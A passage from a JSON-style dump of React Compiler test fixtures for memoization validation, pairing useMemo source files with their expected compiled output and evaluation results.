    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-alias-property-load-dep.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {sum} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  const x = propB.x.y;\n  return useMemo(() => {\n    return sum(propA.x, x);\n  }, [propA.x, x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: {x: 2}, propB: {x: {y: 3}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    return {\n      value: identity(propB?.x.y),\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction Component(t0) {\n  const $ = _c(5);\n  const { propA, propB } = t0;\n\n  const t1 = propB?.x.y;\n  let t2;\n  if ($[0] !== t1) {\n    t2 = identity(t1);\n    $[0] = t1;\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  let t3;\n  if ($[2] !== propA || $[3] !== t2) {\n    t3 = { value: t2, other: propA };\n    $[2] = propA;\n    $[3] = t2;\n    $[4] = t3;\n  } else {\n    t3 = $[4];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: 2, propB: { x: { y: [] } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"value\":[],\"other\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-alloc.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    return {\n      value: identity(propB?.x.y),\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    return {\n      value: propB?.x.y,\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(3);\n  const { propA, propB } = t0;\n\n  const t1 = propB?.x.y;\n  let t2;\n  if ($[0] !== propA || $[1] !== t1) {\n    t2 = { value: t1, other: propA };\n    $[0] = propA;\n    $[1] = t1;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: 2, propB: { x: { y: [] } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"value\":[],\"other\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-noAlloc.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    return {\n      value: propB?.x.y,\n      other: propA,\n    };\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 2, propB: {x: {y: []}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    if (propA) {\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 1, propB: {x: {y: []}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\n\nfunction Component(t0) {\n  const $ = _c(2);\n  const { propA, propB } = t0;\n  let t1;\n  bb0: {\n    if (propA) {\n      let t2;\n      if ($[0] !== propB.x.y) {\n        t2 = { value: propB.x.y };\n        $[0] = propB.x.y;\n        $[1] = t2;\n      } else {\n        t2 = $[1];\n      }\n      t1 = t2;\n      break bb0;\n    }\n    t1 = undefined;\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ propA: 1, propB: { x: { y: [] } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"value\":[]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-conditional-access-own-scope.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\n\nfunction Component({propA, propB}) {\n  return useMemo(() => {\n    if (propA) {\n      return {\n        value: propB.x.y,\n      };\n    }\n  }, [propA, propB.x.y]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{propA: 1, propB: {x: {y: []}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  const sourceDep = 0;\n  const derived1 = useMemo(() => {\n    return identity(sourceDep);\n  }, [sourceDep]);\n  const derived2 = (cond ?? Math.min(sourceDep, 1)) ? 1 : 2;\n  const derived3 = useMemo(() => {\n    return identity(sourceDep);\n  }, [sourceDep]);\n  const derived4 = (Math.min(sourceDep, -1) ?? cond) ? 1 : 2;\n  return [derived1, derived2, derived3, derived4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(cond) {\n  const $ = _c(5);\n  const sourceDep = 0;\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = identity(0);\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const derived1 = t0;\n\n  const derived2 = (cond ?? Math.min(0, 1)) ? 1 : 2;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = identity(0);\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const derived3 = t1;\n\n  const derived4 = (Math.min(0, -1) ?? cond) ? 1 : 2;\n  let t2;\n  if ($[2] !== derived2 || $[3] !== derived4) {\n    t2 = [derived1, derived2, derived3, derived4];\n    $[2] = derived2;\n    $[3] = derived4;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,1,0,1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-constant-prop.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(cond) {\n  const sourceDep = 0;\n  const derived1 = useMemo(() => {\n    return identity(sourceDep);\n  }, [sourceDep]);\n  const derived2 = (cond ?? Math.min(sourceDep, 1)) ? 1 : 2;\n  const derived3 = useMemo(() => {\n    return identity(sourceDep);\n  }, [sourceDep]);\n  const derived4 = (Math.min(sourceDep, -1) ?? cond) ? 1 : 2;\n  return [derived1, derived2, derived3, derived4];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [true],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// We currently only recognize \"hoistable\" values (e.g. variable reads\n// and property loads from named variables) in the source depslist.\n// This makes validation logic simpler and follows the same constraints\n// from the eslint react-hooks-deps plugin.\nfunction Foo(props) {\n  const x = makeArray(props);\n  // react-hooks-deps lint would already fail here\n  return useMemo(() => [x[0]], [x[0]]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{val: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useMemo } from \"react\";\nimport { makeArray } from \"shared-runtime\";\n\n// We currently only recognize \"hoistable\" values (e.g. variable reads\n// and property loads from named variables) in the source depslist.\n// This makes validation logic simpler and follows the same constraints\n// from the eslint react-hooks-deps plugin.\nfunction Foo(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== props) {\n    t0 = makeArray(props);\n    $[0] = props;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== x[0]) {\n    t1 = [x[0]];\n    $[2] = x[0];\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ val: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"val\":1}]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-dep-array-literal-access.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {makeArray} from 'shared-runtime';\n\n// We currently only recognize \"hoistable\" values (e.g. variable reads\n// and property loads from named variables) in the source depslist.\n// This makes validation logic simpler and follows the same constraints\n// from the eslint react-hooks-deps plugin.\nfunction Foo(props) {\n  const x = makeArray(props);\n  // react-hooks-deps lint would already fail here\n  return useMemo(() => [x[0]], [x[0]]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{val: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo, useState} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n// useMemo-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const [width, setWidth] = useState(1);\n  const x = [];\n  const style = useMemo(() => {\n    return {\n      width: Math.max(minWidth, width),\n    };\n  }, [width, minWidth]);\n  arrayPush(x, otherProp);\n  return [style, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 'other'],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo, useState } from \"react\";\nimport { arrayPush } from \"shared-runtime\";\n\n// useMemo-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const $ = _c(6);\n  const [width] = useState(1);\n  let t0;\n  if ($[0] !== minWidth || $[1] !== otherProp || $[2] !== width) {\n    const x = [];\n    const t1 = Math.max(minWidth, width);\n    let t2;\n    if ($[4] !== t1) {\n      t2 = { width: t1 };\n      $[4] = t1;\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    const style = t2;\n    arrayPush(x, otherProp);\n    t0 = [style, x];\n    $[0] = minWidth;\n    $[1] = otherProp;\n    $[2] = width;\n    $[3] = t0;\n  } else {\n    t0 = $[3];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, \"other\"],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"width\":2},[\"other\"]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-in-other-reactive-block.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo, useState} from 'react';\nimport {arrayPush} from 'shared-runtime';\n\n// useMemo-produced values can exist in nested reactive blocks, as long\n// as their reactive dependencies are a subset of depslist from source\nfunction useFoo(minWidth, otherProp) {\n  const [width, setWidth] = useState(1);\n  const x = [];\n  const style = useMemo(() => {\n    return {\n      width: Math.max(minWidth, width),\n    };\n  }, [width, minWidth]);\n  arrayPush(x, otherProp);\n  return [style, x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 'other'],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  return useMemo(() => [a], [a, b]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useMemo } from \"react\";\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== a) {\n    t0 = [a];\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-fewer-deps.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\n\n// It's correct to produce memo blocks with fewer deps than source\nfunction useFoo(a, b) {\n  return useMemo(() => [a], [a, b]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [1, 2],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  return useMemo(() => [x.y.z], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{y: {z: 2}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  const $ = _c(2);\n  let t0;\n  if ($[0] !== x.y.z) {\n    t0 = [x.y.z];\n    $[0] = x.y.z;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{ y: { z: 2 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-more-specific.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// More specific memoization always results in fewer memo block\n// executions.\n// Precisely:\n//  x_new != x_prev does NOT imply x.y.z_new != x.y.z_prev\n//  x.y.z_new != x.y.z_prev does imply x_new != x_prev\nfunction useHook(x) {\n  return useMemo(() => [x.y.z], [x]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useHook,\n  params: [{y: {z: 2}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// It's correct to infer a useMemo value is non-allocating\n// and not provide it with a reactive scope\nfunction useFoo(num1, num2) {\n  return useMemo(() => Math.min(num1, num2), [num1, num2]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 3],\n};\n\n```\n\n## Code\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\n\n// It's correct to infer a useMemo value is non-allocating\n// and not provide it with a reactive scope\nfunction useFoo(num1, num2) {\n  return Math.min(num1, num2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 3],\n};\n\n```\n      \n### Eval output\n(kind: ok) 2"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-nonallocating.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\n// It's correct to infer a useMemo value is non-allocating\n// and not provide it with a reactive scope\nfunction useFoo(num1, num2) {\n  return useMemo(() => Math.min(num1, num2), [num1, num2]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [2, 3],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {CONST_STRING0} from 'shared-runtime';\n\n// It's correct to infer a useMemo block has no reactive dependencies\nfunction useFoo() {\n  return useMemo(() => [CONST_STRING0], [CONST_STRING0]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport { useMemo } from \"react\";\nimport { CONST_STRING0 } from \"shared-runtime\";\n\n// It's correct to infer a useMemo block has no reactive dependencies\nfunction useFoo() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = [CONST_STRING0];\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) [\"global string 0\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-infer-scope-global.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false\n\nimport {useMemo} from 'react';\nimport {CONST_STRING0} from 'shared-runtime';\n\n// It's correct to infer a useMemo block has no reactive dependencies\nfunction useFoo() {\n  return useMemo(() => [CONST_STRING0], [CONST_STRING0]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(data) {\n  return useMemo(() => {\n    const temp = identity(data.a);\n    return {temp};\n  }, [data.a]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\nimport { useMemo } from \"react\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(data) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] !== data.a) {\n    t0 = identity(data.a);\n    $[0] = data.a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const temp = t0;\n  let t1;\n  if ($[2] !== temp) {\n    t1 = { temp };\n    $[2] = temp;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ a: 2 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"temp\":2}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-inner-decl.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\nimport {useMemo} from 'react';\nimport {identity} from 'shared-runtime';\n\nfunction useFoo(data) {\n  return useMemo(() => {\n    const temp = identity(data.a);\n    return {temp};\n  }, [data.a]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{a: 2}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\nfunction useFoo({callback}) {\n  return useMemo(() => new Array(callback()), [callback]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      callback: () => {\n        'use no forget';\n        return [1, 2, 3];\n      },\n    },\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @validatePreserveExistingMemoizationGuarantees\n\nimport { useMemo } from \"react\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { callback } = t0;\n  let t1;\n  if ($[0] !== callback) {\n    t1 = new Array(callback());\n    $[0] = callback;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      callback: () => {\n        \"use no forget\";\n        return [1, 2, 3];\n      },\n    },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[1,2,3]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-invoke-prop.ts",
    "content": "// @validatePreserveExistingMemoizationGuarantees\n\nimport {useMemo} from 'react';\n\nfunction useFoo({callback}) {\n  return useMemo(() => new Array(callback()), [callback]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    {\n      callback: () => {\n        'use no forget';\n        return [1, 2, 3];\n      },\n    },\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  return useMemo(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\n\nfunction useFoo(arr1, arr2) {\n  const $ = _c(7);\n  let t0;\n  if ($[0] !== arr1) {\n    t0 = [arr1];\n    $[0] = arr1;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let y;\n  if ($[2] !== arr2 || $[3] !== x) {\n    (y = x.concat(arr2)), y;\n    $[2] = arr2;\n    $[3] = x;\n    $[4] = y;\n  } else {\n    y = $[4];\n  }\n  let t1;\n  if ($[5] !== y) {\n    t1 = { y };\n    $[5] = y;\n    $[6] = t1;\n  } else {\n    t1 = $[6];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":[[1,2],3,4]}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-assignment.ts",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\n\nfunction useFoo(arr1, arr2) {\n  const x = [arr1];\n\n  let y;\n  return useMemo(() => {\n    return {y};\n  }, [((y = x.concat(arr2)), y)]);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [\n    [1, 2],\n    [3, 4],\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/preserve-memo-validation/useMemo-reordering-depslist-controlflow.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useMemo} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Foo({arr1, arr2, foo}) {\n  const x = [arr1];\n\n  let y = [];\n\n  const val1 = useMemo(() => {\n    return {x: 2};\n  }, []);\n\n  const val2 = useMemo(() => {\n    return [y];\n  }, [foo ? (y = x.concat(arr2)) : y]);\n\n  return <Stringify val1={val1} val2={val2} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{arr1: [1, 2], arr2: [3, 4], foo: true}],\n  sequentialRenders: [\n    {arr1: [1, 2], arr2: [3, 4], foo: true},\n    {arr1: [1, 2], arr2: [3, 4], foo: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useMemo } from \"react\";\nimport { Stringify } from \"shared-runtime\";\n\nfunction Foo(t0) {\n  const $ = _c(9);\n  const { arr1, arr2, foo } = t0;\n  let t1;\n  let val1;\n  if ($[0] !== arr1 || $[1] !== arr2 || $[2] !== foo) {\n    const x = [arr1];\n    let y = [];\n    let t2;\n    if ($[5] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t2 = { x: 2 };\n      $[5] = t2;\n    } else {\n      t2 = $[5];\n    }\n    val1 = t2;\n\n    foo ? (y = x.concat(arr2)) : y;\n    t1 = (() => [y])();\n    $[0] = arr1;\n    $[1] = arr2;\n    $[2] = foo;\n    $[3] = t1;\n    $[4] = val1;\n  } else {\n    t1 = $[3];\n    val1 = $[4];\n  }\n  const val2 = t1;\n  let t2;\n  if ($[6] !== val1 || $[7] !== val2) {\n    t2 = <Stringify val1={val1} val2={val2} />;\n    $[6] = val1;\n    $[7] = val2;\n    $[8] = t2;\n  } else {\n    t2 = $[8];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{ arr1: [1, 2], arr2: [3, 4], foo: true }],\n  sequentialRenders: [\n    { arr1: [1, 2], arr2: [3, 4], foo: true },\n    { arr1: [1, 2], arr2: [3, 4], foo: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"val1\":{\"x\":2},\"val2\":[[[1,2],3,4]]}</div>\n<div>{\"val1\":{\"x\":2},\"val2\":[[]]}</div>"
  },
  {
